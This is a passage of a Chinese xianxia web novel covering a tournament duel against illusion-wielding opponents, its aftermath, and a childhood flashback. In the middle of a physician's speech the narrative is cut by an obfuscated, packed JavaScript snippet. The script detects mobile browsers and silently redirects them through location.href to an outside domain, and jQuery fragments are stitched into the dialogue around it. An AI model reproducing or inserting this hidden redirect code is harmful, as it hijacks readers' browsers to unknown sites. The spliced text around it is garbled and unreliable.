“......坐,思月容颜姣好,腰如约素,依我看,恐怕镜双子亦不如你之风姿啊。” 唐思月谦逊一笑。 “姑姑谬赞,思月不过有幸得于父母,生得两分好颜色,不敢与镜双子比肩。” 明水心笑了笑,将这事带了过去。 “想必你们都已经从青儿那里听说了我的身份吧?那令牌你们好好收着,日后有什么需要,只管找我。” 听了她的话,几人又你一言我一言的道谢。 天色已经全然暗下去了,女使在他们周围点上烛火,晚景倒也别有一番风味,明水心做主直接传饭来了这里,几人在这里用了晚膳。 夜已深了,明水心就差人带他们到了安排好的住处,云修泽躺在床上,翻来覆去却毫无睡意,干脆起身,到院子里找了棵树爬了上去。 晚风寒凉,他拿出了明青给的通神令放在手中把玩,心中却不知该作何滋味。 “通神阁......明水心......” 他迟疑着,喃喃自语。 “......明...青?” 35. 协济十一 大比的擂台正中心有一个圆盘式的钟石,没人知道它是哪里来的,后来也不知是谁无意间发现了它可以辨认人的灵力,这才以它为中心,建起了这一片擂台。 云修泽孤身来到钟石前,用灵力刻下了几个字后,就迅速转身,低调的混入了人群中。 今日大比正式开始,但现下还不到时辰,所以场地内人潮涌动,喧闹不止,云修泽逆着人流穿行,中途还应付了几个想浑水摸鱼从他身上顺点东西走的的小贼,等他来到看台上,才算是稍微松了口气。 “可办好了?”明青低声问道。 她其实并不太喜欢戴着面纱,而今日无论怎么说她都不用上擂台,所以干脆带了个帷帽,倒是唐思月,面纱仍然戴着。 云修泽坐在她的下方,身子向后倒,仰头看她。 “办好了,你们呢?可见着熟人了?” 帷帽遮挡了她的表情,只能从她的声音里听出来一些忧虑。 “这是自然,如此盛事,总是避免不了的。” 云修泽不可置否,一边,云修云正皱着眉,在和唐思月低语,行愿倒像是毫不担心一般,抱着刀坐的四平八稳。 行愿虽然平日里总如同隐形人一样,但其实几人中,他的行事才最为稳重,就像是如果他们需要在野外过夜,如何选择营地,该做什么样的准备,一般都是他来安排,虽说这些东西云修泽和云修云在家中也学过,但实际用起来,还是和行愿有些差距。 云修泽虽然之前已经针对爻池仙做了不少功课,可心里多少还是有些没底,他本想第一场自己先上,却被唐思月以试探对方实力、隐藏己方实力为由驳了回来。 大比即将开始,云修泽稳了稳心神,以免自己的状态影响到其他几人。 他凑得离行愿近了些。 “行大哥,你觉得思月能拿下这一局吗?” 行愿面具下的眼睛转过来看着他,很淡定的说。 “小姐修习音律多年,她的造诣你应该清楚,即便是你,也不可能将她快速拿下,你既做了队长,就要对你的同伴有信心。” 只有执棋之手牢稳,棋子方才可以走的心无旁骛。 不知从什么时候起,原本沸沸扬扬的喧闹声消失了,取而代之的都是细密的交谈声,擂台附近也不再有人影攒动,时间将近,各方的龙头队伍恐怕就要入场。 果不其然,在一个不起眼的角落,一群披着棕色麻绳斗篷的爻池仙不声不响的出现,他们如同幽魂一般,整齐的飘到了一个高空的看台上。 像他们这种数得上名号的,都有专属的看台,而云修泽一行人则和众多散修混坐在一起,并不起眼。 云修泽没想到最先出现的竟然就是爻池仙,现场无数双眼睛或明或暗的在打量他们,但没有谁高声喊叫,只有看台最底层下注的注台热闹一些。 云修泽一直在看领头的那个,发现他斗篷下露出的一小节手臂,一会儿如玉一般莹润,一会儿像老妪一般枯槁。 云修泽运起一丝灵力在灵台中一刺,整个人顿时清明起来,瞳孔微闪,摆脱了刚刚片刻的木讷,等他再定睛看去,就发现有不少人或妖都中了招,严重者神情透露着痴迷或者恐惧,竟是旁人叫了也回不过神来。 而那头领就像是发现了云修泽一般,忽然扭头看向他,斗篷下只有一片漆黑,云修泽却觉得自己像是被什么庞然大物盯住了一般,压迫感十足。 只见那爻池仙缓缓在斗篷前,应该是人类嘴巴的地方竖起了一根手指,歪着头,云修泽就骤然在耳边听到了‘嘘’的一声。 这一下似乎不是单单说给云修泽听,在场所有中了幻术的,都随着这一声轻响恢复了神智,再看去,那爻池仙就像是什么都没干过一样,继续在看台上一动不动的充当阿飘。 云修泽的心顿时沉了几分,这是何等高深的幻术,其范围之广、幻觉之真,只是露了个皮毛,进场的下马威罢了,都让不少人中了招,难说动手时认真起来会怎样。 他扭头看向四人,见他们都没什么事,就问唐思月道。 “他们刚刚的幻术,你觉得怎么样?” 唐思月倒是没什么压力。 “简单,我刚刚都没中招,这种大型幻术,若无意维持较长的时间,构建的基底就会相对薄弱,好破解的很。” 云修泽听闻不由得莞尔一笑,这话也就她敢这么大大咧咧的说出来了,就连他刚刚也是刺了自己一下才得以摆脱,这还是在爻池仙无意囚困的前提下,不过这样也好,看来她对上爻池仙也是有一定把握的,他就无须过多担忧了。 “哦!!!!!!灵儿小姐!!!!!哦!!!!!” “灵儿小姐!!!!我爱你!!!!!!” “狐公子!!!看我看我!!!!我永远支持你!!!呜呜呜!!” 一阵热闹的欢呼声响起,云修泽顺着声音看去,就看到了白女狐族高调的入场。 灵儿半倚在铺着白色皮毛的车撵上,淡粉色的纱衣随着她的动作滑动,白色的狐尾轻轻搭在自己的身上,她的眉眼带笑,全身上下明明只有香肩半露,整只狐却都散发着一种勾人心魄的魅惑。 其余的白女狐簇拥在车辇周围,男子俊朗风流,女子各色千秋,行走间都犹如仙人下凡一般。 如果说爻池仙让人望而生畏,不敢多言,那白女狐就正与他们相反,所过之处必然簇拥者无数。 之后出现的是九乙木族,领头的年轻人一头墨绿色长发,遮住了一部分眼睛,衣袍在他身上显得有些宽大,行走间能看到他有些瘦弱的手腕。 “不愧是极阴木,看起来就阴森森的。” 云修云托着下巴说道。 云修泽:“那是九乙木族少主,圭许。” 明青手中的深流微震了一下,她将手放在剑鞘上稍作安抚,这些妖看着都是二十左右的年岁,但实际的年龄可能已经几百不止,妖物天性张扬,所以有不少都肆无忌惮的散发着大妖的气息,绝不容人小觑。 这圭许样貌并不拔尖,可给明青的威胁感却是最重的,也许是因为她的剑道中有光明磊落之意,正与极阴之物相克,再加上他又是已成气候的妖族,才会让她心有不安。 “影玖到了。”行愿突然出声。 云修云四处看了看却并未发现他的身影,一只手放在眉骨上遮着太阳。 “哪里?我怎么没看到?” “在那儿。”云修泽沉声道。 几人顺着他的视线望去,就见原本还空着的看台上已经站满了雾面影族的族众。 他们竟无声无息地来到了这里。 无论从什么角度都看不清他们的脸,站在最前面的影玖一只手撑着围栏,一只手叉着腰,不知是不是又带着那顽劣的笑容在俯瞰着众人。 云修泽看着他的身影,眸色沉沉,影玖却突然往他们这边转头,云修泽连忙避开视线。 “他可能在找我们。” 云修云迟疑了一下。 “这里那么多人,也不一定吧......” 云修泽没有说话,他不知道之前是否引起了影玖的注意,但他现在的直觉就是如此,他也希望这次的直觉是错的,毕竟被一个性格奇怪的大妖盯上可不是什么好事。 一阵热烈的欢呼声打断了他的思路,竟是昆天谷的人到了。 他们穿着统一的弟子服饰,但细节上还是有所不同,让人可以分辨他们的品阶,带队的是老熟人了,大弟子周彦止和三弟子许知夏,这一届的领头弟子一下来了两个,剩下的那个二师姐想必还在闭关中。 最下面的注台变得愈发热闹,人族和妖族的最强战力已经出现,有不少喜欢凑热闹或者想借此赚上一笔的都会去赌上几把,云修泽甚至看见许知夏偷偷叫一个弟子也过去下了个注。 云修泽精神一振,整个人抖擞了一下,惊动了旁边的四人。 唐思月以为他还在担心之后和爻池仙的对局,于是问他怎么了,想要宽慰宽慰他,可谁知他却低头翻起了玉佩,过了一会儿摸出个荷包来交到云修云手上,一脸正经地说。 “刚才光顾着担心了,竟然把这么重要的事给忘了,快去,把这些压到思月那边,大好的赚钱机会,不能白白浪费了!” 众人无语,云修云有些摸不着头脑。 “这如何下注?对局还没出来,谁对谁都不知道,根本做不成局啊,说起来,我刚刚就很好奇他们那么热火朝天的在激动什么,围着注台就像是已经开局了一般。” 云修泽一把揽过他的脖子,两个人脑袋凑在一起,云修泽指着注台低声说道。 “自然还未开局,不过注台上都是有各自队伍的名号的,现在直接给队伍下注叫点将,到时候如果赢了,我们下的本金就会滚上三翻,比对局出来后再下还要多上一倍,你看那四族和昆天谷下,是不是都有了不少了?还不快去,时辰可马上就要到了!” 云修云恍然大悟,立马就提了精神,起身准备前去。 “等一下。”明青喊道。 唐思月无奈:“我竟不知你们还有这种兴趣?” 说着,她就看见明青和行愿不声不响的又往云修云手中放了两个荷包,竟是要托他一同下注的意思。 唐思月噤声了,她很有与这两人面面相觑的冲动,可无奈这两个人愣是凑不出一张脸,只能无奈作罢。 云修云嘿嘿一笑,带着三个荷包就泥鳅入了海。 唐思月看着这个傻小子不仅把那三个荷包压在了‘第七洲’下面,竟然在自己身上又摸了一个出来,也压了上去。 唐思月看在眼中,深觉拿他们没有办法,只能摇摇头,无奈地笑道。 “唉!责任重大啊!” 之后又陆陆续续有不少势力进场,或多或少引起了一些波澜,场地中,逐渐安静了下来。 最高处的看台上,坐着八方势力,分别是四大妖族和昆天谷、净安寺,还有另外两大仙门,人妖两族各占一半,全都气势凛然,不分伯仲。 唐思月指尖揉按耳骨,轻拧着眉头,像是有些耳鸣。 云修泽眼中暗色一闪而过,人妖两族已经开始相互试探,虽有刻意隐藏,但这六洲之中最强的八个势力聚在一起,流露出的一星半点的威压也足以让修为差些的感到不适。 顶尖的几位各有各的闲适,像是游刃有余,只是不知有没有装模作样的掺在里面。 现在彻底静下来了,此时,正是风云际会、豪杰并起! 中间的钟石发出微微的光芒,几个像是吞吐的起伏过后,就骤然散成无数的光点,飞入到了各方手中。 云修泽几人并没有接到,但他看见了那光点停留在一个修士的手心,一息过后就变成了字样,应该是他们抽取得到的对手。 名字出现后,人们的反应有喜有悲,而高台上的灵儿注意到爻池仙那边并没有接到光点,不由暗自挑眉。 他们竟真的敢一上来挑战爻池仙?只盼不是过于自信吧。 钟石本身的光芒并未散去,反而逐渐化为了朱红色,光芒聚集在它的上方,慢慢出现了字的模样。 一般来说,最先出现 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他们的名字出现,一时间竟是群嘲不止,全都在笑他们不自量力。 五人是第一次参加这个大比,第七洲的名号自然从不曾出现过,白界大比在各界的重量不用多说,就连昆天谷近些年的盛名也有不少是托福于此,若是曾经榜上有名,哪怕只位列第十,恐怕也会被各方熟知。 随着钟石的光芒散去,空中却突然传来‘咣’的一声巨响,像是有人猛然敲响锣鼓,宣告此次大比正式开始开始。 按照规矩,擂台首先会交给挑战者和被挑战者,其次才是抽取对手的入场。 看台上,领头的爻池仙回头,一个后方的心领神会飘到了擂台上,众人多数围在这个擂台附近,只等着要看笑话。 唐思月紧不紧张不知道,反正云修云紧张的不行,他握拳的双手微微冒出些冷汗,不安的甚至想要站起来。 “思月,要不我替你去吧?” 唐思月安抚的拍拍他的头,叫他安心坐在座位上。 “没关系,别担心。” 明青抓了抓她的手腕。 “万事以自身为重。” 云修泽也叮嘱道:“是了,就是认输,你也要安全回来,这是队长的命令,记住了吗?” 唐思月感觉到大家对她的关切,眼中带着暖意。 “是,思月谨遵老大的命令。” 说罢,她就犹如一只翩翩蝴蝶,抱着琴走向了擂台。 “...什么老大,顽闹!”云修泽失笑。 唐思月不慌不忙的出现,众人一看竟是个小姑娘,更是笑的肆无忌惮。 “竟是个细皮嫩肉的小娘子!哈哈哈!!!” “唉!姑娘如何来这里找苦吃?虽蒙着面,但也是能看出来很有姿色的!!!何不下来与我过上两招哈哈哈哈!!!!” 场下哄笑调戏的声音不断,唐思月却并未受他们的影响。 随着擂台上隐含着限制的灵力散去,她将灵力集中到指尖,抱着琴,慎重的说道。 “第七洲,唐思月,请。” 说完,她就看见对面的爻池仙似乎点了点头,但还没等她看清,眼前就开始感觉到模糊不清,原本一个爻池仙的身影逐渐分为了数个,唐思月明白。 幻境,已经开始了。 云修云焦急的抓着栏杆。 “这是怎么回事?不是说我们能看见幻境的内容吗?怎么只有雾?” 云修泽眉头紧锁,显然也因为眼前的情况一头雾水,他转头去问明青。 “你知道这是怎么回事儿吗?” 明青也已经站起身来了,帷帽轻轻晃动。 “我也不知。” 行愿却在此时开口了,他的存在感之低有时让其他四人也会无意识忽略,所以云修泽心神乱套时,并没有想起他来。 “是意志。” 听到他的声音,云修泽才恍然向他看去。 “怎么说?” “这是极少有的一种情况,如果被拖入幻境的人,意志强过于爻池仙,或者从头到尾都能清醒的意识到经历的一切都是假的,就会出现这种现象。” “原来竟是这样。”云修泽默默感叹。 只要不是唐思月出了什么意外就好,不过真是没想到她竟能做到这种事,无论是行愿说的哪一种情况,都十分让人钦佩了。 接着他又转念一想,既如此,那他是不是也可以? 云修云算是松了半口气,但还有半口高高的吊着,看不见具体的情况更让他担心受怕,只能在心里默默祈祷着唐思月的平安,难熬的等待着她。 看不见幻境的浓雾应该也引起了一些知晓内情的人的注意,至少‘第七洲’这个名字在他们心中不再是一只送死的蝼蚁,但对于那些想要看热闹的妖众就不那么友好了。 有不少觉得扫兴离去,还有一些围在这里,定要看个结果。 时间一分一秒的过去,日头西沉,还是没有分出胜负。 云修泽留了两分注意在这里,剩下的便分去观察其他的对决。 直到浓雾突然有了变化才将他拉了回来。 几人都有些紧张,只见那浓雾扭曲了几下,竟隐隐显现出了冲天的火光。 熊熊烈火充斥着整片浓雾,似乎将擂台化为了一片火海,众人只感热浪扑面,一道凄厉的女声从中响起。 “不————!!!!!!!!!” 36. 协济十二 随着这一道声音,云修泽几人的心也被高高提起。 浓雾里的火焰愈演愈烈,那焚烧一切的架势让人心中不禁惊惧不止。 不知是火焰燃烧造成的错觉,还是幻境本身就已经出现问题,映出来的画面变得扭曲不堪。 云修泽紧紧盯着那片火焰,片刻后却又突然看向了一旁的行愿。 如此突兀的动作行愿却并没有察觉,反而仍然沉默的看着那片火海,火焰映在他唯一露出来的瞳孔上,将此时的他映衬的有些神秘莫测。 明青察觉到了他的动作,也跟着看了一眼行愿。 云修泽和她对视一眼,开口轻声对行愿问道。 “这可是唐府的那场火?” 行愿不知是不是没有反应过来,过了一小段时间才缓缓开口。 “原来那场火......竟是这个样子......” 云修云皱着眉,言语间满是心疼。 “那她岂不是在眼睁睁的看着自己最爱的家人离她而去?” 云修泽此时最担心的就是这个,唐思月在某些方面已经强过于爻池仙,可她现在的心神动荡已经让她出现了严重的破绽,若被那爻池仙抓住这一点,将时间拖得更长,恐怕就要安危难测。 云修泽低垂着眼睛思索片刻,然后果断转身冲几人招手说道。 “走,我们去钟石。” 白界大比有一个特殊的规则,比赛一旦开始,就是生死不论,但是可以认输,如此性命便可得以保全。 还有一种情况,若对局者已经无法自行认输,这种情况下想要保全擂台上的人的性命,则可以由他的同伴前往钟石,代替他进行认输。 若是顺利的话,轻易便可办到,但若对方不依不饶,也同样会派同伴守在钟石前,此时,双方必须要打上一场,算作加赛,不计入成绩,赌的,便是同伴的性命。 云修泽带着三人走下看台,他看向钟石的方向,那里早就被空出来了一大片空地,四个爻池仙却突兀的出现在那里。 云修泽脸色沉了沉,看来他们的意思便是要不死不休了。 行愿:“你要替她认输吗?” 云修泽没有回头:“不,但是我们要做好万全的准备。” 行愿默默点头,没再说什么。 云修泽带着人目不斜视的冲他们走去,周边的人自动为他们让出一条路,不断的在一旁交头接耳,眼神中有鄙视、有不屑、有兴奋、有同情,但是没有一个相信他们可以打赢。 看台上的许知夏简直想嗑两把瓜子儿,他捣捣旁边的周彦止,看热闹不嫌事儿大的说。 “诶,你说,你觉得他们谁赢?” 周彦止忽略了他调侃的语气,一本正经的分析道。 “他们几个人里,我们实际交过手的,其实只有云道友,他的实力很强,而青师妹师出于周天山那位,想必也不可小觑,其余的三人我都不清楚,但若是跟他们两人的水平差不了太多的话,爻池仙不好说,却绝对是有进入八强的实力的。” 许知夏翻了个白眼,算他自讨没趣要问这个呆子了,嘴里蹦不出一句他想听的,他无趣的咂咂嘴。 “不过嘛......还是让他们赢比较有趣,爻池仙这东西烦人的紧,倒不如换成他们。” 周彦止笑了笑,觉得他可爱,就是刀子嘴豆腐心。 云修泽几人已经来到了唐思月的擂台附近。 抓紧时间,他们本来不想停留,却在路过的时候,因为一道微弱的琴音停下了脚步。 云修云怀疑:“......你们听到了?” “听到了。”明青把头扭向擂台的方向。 云修泽盯着那片扭曲的火海认真听着,一息之后果然又传出了一声,这一声比刚才那声还要清楚些,绝不是他们的错觉。 之后一声比一声清晰,一声比一声紧密。 云修泽他们现在站的离擂台比较近,随着琴音的速度越来越快,他立刻就敏锐的察觉到了不对,猛然伸手把几人往后推,一边带着他们疾步向后退去,一边高声喊道。 “退后!” 围在擂台周围的,有一部分将信将疑的也跟着退了几步,还有一部分根本没有搭理他。 云修泽带着明青、云修云和行愿至少向后退了十步的距离才停下。 就在他们站定的下一刻,传出的琴音就骤然变得凄厉,蕴含着强横的灵力瞬间爆发出来,直接将组成幻境的浓雾打散了,但这道灵力并没有被擂台的限制拦下,反而冲破了擂台,横扫向了周围。 “啊——!!!!!” “我的眼睛!!!” “好痛!!!!!!!!啊啊啊啊啊啊!!!” 一直围在擂台周围的人或妖,敏捷的躲过了,稍迟钝一些的,就被这道音波打了个猝不及防,哀嚎不止,霎时间就乱成了一锅粥。 云修泽拿袖子挥去了一部分飞扬的尘土才重新看清擂台上的情况。 只见唐思月垂头站在擂台的正中间,略微有些凌乱的长发和面纱遮挡了她的表情。 一向被她爱惜的琴此时被立在那里,只有一只手扶着,像是为了支撑她的站立。 指尖已经染血,顺着琴弦缓缓滑落,除此之外,倒是看不出还有什么伤。 云修泽快速将她扫视一遍,见她没什么大碍,就扫了一遍她的周围。 那个爻池仙已经不见了,只剩了一件斗篷堆叠那里,上面还有不少如同被利剑划出来的痕迹。 爻池仙......被她杀了? 云修泽睁大了双眼,吃惊之余,心中却像是早已有了预料,并未有太大的反应,旁人就不同了。 场上的胜负已见分晓,清楚直接的很,此刻莫说是擂台周围,就连看台上无数的看客都没了声音。 灵儿媚眼含笑:“果然不是什么温顺的兔子。” 许知夏抱胸挑眉:“竟爆了个冷门。” 周彦止笑的温厚:“看来她不止下棋厉害。” 影玖托着下巴,哼哼直笑:“我就知道他们很有趣。” 圭许指尖把玩着藤蔓,语气平静:“总算来了点儿新人。” 那群原本守在钟石边的爻池仙挥手将擂台上的那件斗篷收了回来,在云修泽几人警惕的目光下,如同来时一样一个转身就都消失不见了。 明水心拿着圆扇敲敲鼻尖,眼神晦暗不明。 “衢州唐家的小姐,自学到如此地步,是当真......天赋异禀?” 擂台上的唐思月动了动,行愿和云修云几乎是同步到了她的身边。 行愿低着头,伸出手问道:“小姐?” 唐思月出乎意料的躲开了他的手,将琴收了回去,避开他独自向擂台下走去,声音变得有些冷漠,命令道。 “别碰我。” 这是唐思月第一次表现出这种模样,几人都感觉有些陌生,想来刚才是受了不小的刺激。 行愿并没有受到影响,他沉默的跟在唐思月后面,云修泽和明青互相看了看,也决定不再刺激她,只是安静的护在她的左右,要带她离开。 众人由她走了一段距离,云修云却突然闪身到了她的面前,伸出手挡住她的去路,他的眼神闪烁,显得有些无措,但又十分坚定。 “你受了伤,不能再动了!” 云修泽顺着他的目光,才发现唐思月的耳朵也已经渗出了鲜血,应该也是有些内伤,再加上她现在的状态那么不对劲儿,确实不宜再多做挪动。 唐思月被阻拦了去路,迟钝的将目光放在了云修云脸上,少年抿着双唇,拧着眉,看向她的目光中像是还包含了一些他自己都没有察觉的心疼。 唐思月像是骤然被点醒,神情不再恍惚,她的身体晃了晃。 “...我......” 还没等她说什么,云修云就低声道了一句失礼,俯身一把就将她抄了起来,看也不看的抱着她离开。 他的身形尚且还算不上健壮,可此时抱着她的双臂却十分牢稳,未曾让她感受到一丝颠簸。 唐思月有些累了,阳光的余晖映在他的脖颈上,陷入昏睡前,她已经没有力气分辨那抹红色,究竟是不是被夕阳的晕染成色的了...... 云修泽迟钝的眨眨眼,好小子啊。 他想去看看行愿的反应,却发现这个距离,这个天色,如果不是他正对着阳光的话,根本无法看清他的眼睛。 明青越过他,催促道。 “走吧,他们马上走远了。” 云修泽转头,发现云修云那小子跑的格外快,这一小会儿功夫,就只剩下了个指节大的背影了,只能无奈追赶。 从唐思月有动作开始,场中便稀稀碎碎的发出不少隐秘的讨论声,等到几人完全离开的那一刻,才爆发出了排山倒海的呼叫! 云修泽边追人边用手揉了揉耳朵,不去管场内那哀嚎多于赞叹的,一副要将人天灵盖儿掀个来回的叫喊声,心里不住的开始盘算这一把究竟能赢多少回来。 老天有眼,发财了!再也不用为了二十两银子发愁了! 几人一路赶回了沁园,云修云小心的将她放在床塌上,明青给她喂了些之前她给的伤药,明水心后脚就带着医师进来了。 她示意那医师上前看伤,自己就冲几人笑道。 “真是不得了啊孩子们!我原以为你们不过是少年心气高,想着让你们去,磨一磨你们的性子也好,没想到你们竟真是心里有数,四族之一的爻池仙竟真就让你们这么打败了,果然是少年英雄,前途无量啊。” 几人冲她见礼,云修泽谦虚一笑。 “哪里的话,明姑姑太高看我们了,不过是运气好罢了,还要多谢您带了医师前来,不然我们一时间还真是不知该去哪里找了。” 明水心低头抿了口茶。 “修泽是吧,话是这么说,对我就不必这般谦虚了,我毕竟是青儿的姑姑,你若真想让我这个做长辈的高看你一眼,还是要给我表现出些真东西的,你说是吧?” 云修泽一顿,说道。 “是,我明白了。” 明水心安抚的笑起来。 “哎呦,我这个人就是有动不动就说教的毛病,你不用太放在心上。” 还没等他回话,一直守在床边的云修云就出声问道。 “医师,她怎么样了?可有什么大碍?” 众人也闻声去看,要听个结果,医师刚刚诊完脉,正在翻找他的药箱。 “啊,小公子不必担忧,这位小姐只是受了一些内伤,是强行封闭五感所致,并不严重,待老夫行针,喝两副药,将养两天也就无碍了,外伤只有指尖,伤口不大,上些药粉等待自愈便可,不必包扎了,透着气好的更快点。” 说着,那医师就翻出了一包银针,云修云趁着他还没上手,连忙追问。 “那可有什么忌讳?” 老医师哈哈一笑:“其实也没什么,只是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049507|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两日少吃辛辣、寒凉的东西就是,这位小姐本身身体就不算太好,想来平日里就很少吃这些,不过你既问了,老夫就多嘴这一句吧。” 见他开始行针,云修云就不再说话以免他分神。 明水心看在眼里,笑道。 “修云关怀备至,想必平日里就和思月的关系很好。” 云修云挠挠头,往他们这边挪了几步。 “明姑姑说笑,思月是名门嫡出的小姐,最是温和守礼,待同伴都很好,我们也不过是好友罢了,未曾逾越雷池半步。” 明水心轻轻调笑道:“瞧瞧,竟还把你说害羞了,我看你们交情这般好,可是认识的久了?” 云修云摇摇头。 “其实只有半年左右,不过大家相处的时间很多,所以感情格外好些。” 明水心的表情略微显得有些疼惜。 “那岂不是唐家出事的时候,你们都没在她身边?” 她这么说,也让云修云有些难过,他的声音低落了几分。 “是的,若是再早一步就好了,不过我们事后陪她回去过,若不是她,唐家的阵......” “姑姑。”明青突然出声,“有人找你。” 明水心一回头,果不其然有一个女使站在她的右后方垂首等着。 既没出声,想来事情就不算紧急,不过明青都已经说了,那暂时倒也不必揪着不放。 医师已经行完了针,将两副药方交到了云修云手上,叮嘱了几句吃法。 明水心站起身,笑道。 “我这还有事,便不同你们说笑了,明日的对决还是要多加小心,不可轻敌啊。” 几人垂首应是,将她送出了屋外。 明青从回来就已经将帷帽摘下了,她看向云修泽,点头道。 “对不住。” 云修泽笑笑:“没事,闲聊罢了。” 他虽这么安抚明青,但其实心里犹如明镜,通神阁的高位者,虽有着他们长辈的身份,却也绝不会单纯的以长辈的身份来对待他们。 今天这番话看似闲聊,实际就是试探,她对他们的身份都存有疑心,想必早就叫人去核查过了,他和云修云的倒是好确认,唐思月和行愿就要困难许多,会来试探也在意料之中。 云修云不明所以,但也没心思深究,还是一门心思的守着唐思月去。 “唔......” 床上的唐思月动了动,云修云惊喜道。 “思月!你醒了!” 唐思月慢慢睁开了一点眼睛,皱着眉,作势就要坐起来。 云修云连忙将她扶起,在她身后垫了几个软枕。 行愿递上一杯温水,她接过来小抿了一口。 云修泽和明青也都凑了过来,将她的床边紧紧围住。 云修泽:“怎么样了?身体还有哪里觉得疼吗?” 唐思月面色有些苍白,无奈的苦笑。 “我没事,不过轻伤罢了,就是识海受到了一些冲击,养两日就好,那爻池仙相当厉害,抓人痛处真是抓的准。” 明青摸摸她的头发。 “辛苦了。” 唐思月抬头冲她笑笑。 云修泽沉思片刻,问道。 “你感觉怎么样?” 唐思月指节抵在嘴边,思索着说道。 “幻境很真,一般人进去就会忘记自己身在幻境,若我猜的没错,恐怕心智都要和幻境中的自己年岁相当了,我提前封闭了五感,又有琴音护身才能清醒着。” 云修泽皱眉:“那若我进去就封闭五感......” 唐思月斩钉截铁的说道。 “不行,你和我不同,你若这么干,只会更快的陷入幻境,幻境不一定是真实发生过的事情,它只会不断的放大你的恐惧,而唯二能突破幻境的办法,就是找到阵眼,或者......分辨出虚幻与真实的交界。” 她说的模糊,但云修泽没有多问,反而问道。 “只这两种吗?” 唐思月沉默了片刻,还是说道。 “还有第三种,那就是以绝对的强大碾压他,当你的灵力远远高于他时,自然就能将他玩弄于鼓掌之中。” 云修泽无奈叹息,看来这个办法是行不通了,他纵使强的多,也没有到那个地步。 唐思月担忧:“你明日就要跟他们打了,一定要记得小心,在幻境中若能控制自己,就一定要尽量减少挪动,每一次场景变化都有可能陷入多重幻境。” 云修泽点头,故意逗她,说道。 “你老大我厉害的很,不用过于担心,你就先把自己养好就可以。” 唐思月笑了笑:“好的老大,不过我有点儿累了,想休息休息。” 云修泽:“好,你就好好休息,等我明天的好消息吧。” “嗯。” 几人移步离开,云修云帮她盖好被子,又将床帘放了下来,三步一回头的走到门外,就在门关上之前,他听到床帐内传来了唐思月的声音。 “阿云,多谢你。” 云修云笑得将眼睛都弯成了月牙。 “我可不喜欢听你道谢。” 说着,他就将门彻底关上了,但他并没有马上离开,而是又在门口站住定。 其实他也不知道自己停在这里干什么,但就是想要再留一阵子,他沉默地看着已经被自己关上的门,过了一会儿,才难掩开心的,一步一小跳的离开了。 37. 协济十三 “你是我的孩子,你怎么能不像我?!练!给我在这片竹林里一直练到像我!像根竹子才可以出来!!!” “不要呜呜呜......娘亲......我害怕呜呜呜呜呜......娘!不要走!!!娘!!!!!!” 时间让他忘记了很多,可那时尚且年幼的云修泽,没能忘记那抹映在他泪眼汪汪的瞳孔中的,决绝的背影。 “子竹,先起来吧,别坐地上。” 鸣音弯腰将他拉了起来。 云修泽顺从的站起身,眼泪停下来但还是忍不住啜泣,他紧紧拉着鸣音,难过的问。 “师傅,我为什么叫子竹啊?难道就因为我是母亲的孩子吗?” 母亲是天竹,她的孩子,自然就是子竹。 给孩子取的字一般都包含着父母对孩子的期许,都有着美好的寓意,可禾韵给这孩子取的名字,恐怕还真就这么随意,真是造孽。 鸣音皱着眉,忍不住有些心疼,这孩子本就早慧,平日里很是懂事,这些都是好处,但不该那么早出现在一个这么小的孩子身上。 “子竹乖,哪有的事?在人族的说法里,子是美称,有赞扬之意,你要相信你娘是爱你的。” “真的吗?”云修泽拿袖子擦擦眼泪,只敢小心翼翼地问她。 鸣音看着这个只到她大腿的小人,摸摸他的头,给了他确定的答案,决定之后去找禾韵谈一谈。 嗯!一定是这样的!娘只是希望我变得更强,不会丢下我不管的,之后等我变强了,她一定会来接我的! 云修泽握着小拳头默默给自己打气,然后抬头对鸣音说道。 “师傅,我们去修炼吧!” 鸣音笑笑:“好,我们走。” 云修泽就这样跟鸣音两个人在偌大的竹林里修习了一年,这一年中,他无数次累到昏迷,但又无数次被叫醒后坚强的爬起来。 这里静的可怕,尤其是晚上,安静的可以听见竹笋破土拔节的细碎声响,对于一个初来乍到的孩子来说很是唬人。 最开始的时候云修泽根本睡不着,就那么夜夜熬着,直到几天之后鸣音发现了他的异常,才逼他说出了这件事。 鸣音又是心疼,又是生气。 这孩子太独了,都这个样子了,竟然也不肯跟她说,可她能怎么办呢?她毕竟不是这孩子的亲娘,弥补不了他的空缺。 鸣音强制陪他睡了一段日子,直到他害羞的表示自己已经习惯了,没有问题,一定要自己睡后才离开。 他们用了大半年的时间打基础,然后鸣音就开始教给他轻功。 躅躅的快在天竹一脉尚没有灭绝的时候,可以说是天下闻名。 那是众多妖族都达不到的速度,为了教给云修泽,鸣音又花了很长的时间摸索适合人族的修炼方法,师徒两人一路试错,才算是小有成就。 “子竹,你可想你娘了吗?”鸣音坐在石头上问他。 云修泽眼睛亮了几分。 “想!是娘来看我了吗?” 鸣音可惜的笑了笑。 “不是,但是师傅给你一个任务,你现在的轻功已经小有所成,我要你离开这片竹林,潜入到你们府中,在离你父亲和母亲身边至少十丈远的地方看看他们,并且不被他们发现,天黑前回来,你能做到吗?” 云修泽小小的失落了一下,但还是马上振作了起来。 “是!子竹一定完成任务!” “去吧。” 云修泽潜伏在云府中,心中有害怕被发现的忐忑,有兴奋,还有一些期盼。 爹爹今天不知道有没有回来,娘也肯定想我了! 他在府中转了一圈儿,没能发现爹爹的身影,他可惜的想,看来爹爹今天也是不在家了。 他小心的落到一棵树上,这里靠近娘亲的院子,而这棵树,能直接看到娘亲的房内。 现在是午后,娘亲应该在睡午觉,等一会儿就能看到她了! 怀着期待的心情,云修泽蜷缩在这棵树上,纵使午时的太阳最烈,可此时也已是严冬,高处更是寒风不断,哪怕体内有些灵力护体,他也能感觉到寒风的刺骨。 可云修泽没有动一点找个地方避风的念头,只一心一意待在这里,期盼能第一时间见到娘亲。 说起来,他还没有具体的学过如何辨认时辰,也不知自己在这树上待了多久,只觉得手脚都已经冷的发麻了,才看到了娘亲的身影。 